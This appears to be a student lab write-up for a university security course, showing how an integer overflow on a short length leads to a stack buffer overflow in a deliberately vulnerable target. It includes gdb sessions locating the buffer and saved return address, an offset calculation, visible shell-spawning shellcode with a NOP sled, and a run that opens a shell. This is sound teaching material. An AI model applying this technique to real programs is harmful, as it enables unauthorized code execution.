

As we know that the range of short is -32768 to 32767. So here to show buffer overflow, we simply assign a number that is greater than this range. Thus we make an integer overflow attach happen.

- Modify the "#Define TARGET" in exploit.c according to your file location Eustis location.
- Using make command, generate the executable files in both target and exploit.

```
ba407257@eustis: ~/cap6135-project1-source/cap6135-project1-source/targets
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/exploits$ make
make: Nothing to be done for `default'.
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/exploits$ cd .
./targets
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/targets$ make
make: Nothing to be done for `default'.
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/targets$ cd..
cd..: command not found
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/targets$ cd ..
/exploits/
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/exploits$ ls
exploit.o  shellcode.h  testshellcode.c
exploit.c  Makefile     testshellcode.o
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/exploits$ cd .
./ targets
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source$ ls
exploits targets
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source$ cd targets
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/targets$ ls
Makefile target target.c
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/targets$
```

- We will use gdb to find out the address of sh_buff variable and the offset. Also as it will show us the stack, so we will get the saved return address and stack pointer too.

```
ba407257@eustis: ~/cap6135-project1-source/cap6135-project1-source/exploits
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/exploits$ setarch i686 -R gdb
./exploit
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./exploit...done.
(gdb) break target.c:foo
No source file named target.c.
Make breakpoint pending on future shared library load? (y or [n]) y

Breakpoint 1 (target.c:foo) pending.
(gdb) run
Starting program: /home/ba407257/cap6135-project1-source/cap6135-project1-source/exploits/exploit
process 3810 is executing new program: /home/ba407257/cap6135-project1-source/cap6135-project1-source/targets/target
Press any key to call foo

Breakpoint 1, foo (
  arg=0xbffff7fa4 "1\300Ph//shh/bin\211\343PS\211~\n", '\220' <repeats 81 times>, "c\377\277"
, '\220' <repeats 91 times>..., arglen=-32767) at target.c:9
9      short maxlen = 80;
(gdb)
(gdb)
```

```
ba407257@eustis: ~/cap6135-project1-source/cap6135-project1-source/exploits
(gdb) break target.c:foo
No source file named target.c.
Make breakpoint pending on future shared library load? (y or [n]) y

Breakpoint 1 (target.c:foo) pending.
(gdb) run
Starting program: /home/ba407257/cap6135-project1-source/cap6135-project1-source/exploits/exploit
process 3810 is executing new program: /home/ba407257/cap6135-project1-source/cap6135-project1-source/targets/target
Press any key to call foo

Breakpoint 1, foo (
    arg=0xbfff7fa4 "1\300Ph//shh/bin\211\343PS\211~\v", '\220' <repeats 81 times>, "c}\377\277"
, '\220' <repeats 91 times>..., arglen=-32767) at target.c:9
9     short maxlen = 80;
(gdb)
(gdb) info frame
Stack level 0, frame at 0xbfff7dd0:
eip = 0x804856a in foo (target.c:9); saved eip = 0x80486ed
called by frame at 0xbfff7df0
source language c.
Arglist at 0xbfff7dc8, args:
    arg=0xbfff7fa4 "1\300Ph//shh/bin\211\343PS\211~\v", '\220' <repeats 81 times>, "c}\377\277"
, '\220' <repeats 91 times>..., arglen=-32767
Locals at 0xbfff7dc8, Previous frame's sp is 0xbfff7dd0
Saved registers:
    ebp at 0xbfff7dc8, eip at 0xbfff7dcc
(gdb) x buffer
0xbfff7d63:      0x00000100
(gdb) x &len
0xbfff7db8:      0x00000000
(gdb) x &maxlen
0xbfff7dbe:      0x7fa4b7e9
(gdb)
```

- The buffer variable starts at the address: 0xbfff7d63, the return address is saved at: 0xbfff7dcc.
- The len is at 0xbfff7db8, maxlen is at 0xbfff7dbe, saved stack pointer at 0xbfff7dc8.

Buffer	0xbfff7d63
Maxlen	0xbfff7dbe
Len	0xbfff7db8
Frame Pointer	
Return Pointer	0xbfff7dcc
Passed	

- The offset value is the difference of return address and buff value. So here we get offset value 105.
- Modify exploit.c according with the buff value and 4 bytes of buff address.
- When the stack pointer touches the return address, spoof the return address to the address from where we can release the shell.
- Make exploit.c file again with modified code.



```
(gdb)
(gdb) info frame
Stack level 0, frame at 0xbfff7dd0:
 eip = 0x804856a in foo (target.c:9); saved eip = 0x80486ed
 called by frame at 0xbfff7df0
 source language c.
 Arglist at 0xbfff7dc8, args:
   arg=0xbfff7fa4 "1\300Ph//shh/bin\211\343PS\211~\v", '\220' <repeats 81 times>, "c}\377\277"
, '\220' <repeats 91 times>..., arglen=-32767
 Locals at 0xbfff7dc8, Previous frame's sp is 0xbfff7dd0
 Saved registers:
   ebp at 0xbfff7dc8, eip at 0xbfff7dcc
(gdb) x buffer
0xbfff7d63:    0x00000100
(gdb) x &len
0xbfff7db8:    0x00000000
(gdb) x &maxlen
0xbfff7dbe:    0x7fa4b7e9
(gdb) print 0xbfff7dcc - 0xbfff7d63
$1 = 105
(gdb) 0xbfff7dd0 - 0xbfff7d63
Undefined command: "0xbfff7dd0". Try "help".
(gdb) print 0xbfff7dd0 - 0xbfff7d63
$2 = 109
(gdb) q
A debugging session is active.

    Inferior 1 [process 3810] will be killed.

Quit anyway? (y or n) y
ba407257@eustis:~/cap6135-project1-source/cap6135-project1-source/exploits$ setarch i686 -R ./e
xploit
Press any key to call foo

arglen =-32767, buf size =32769
$ $
```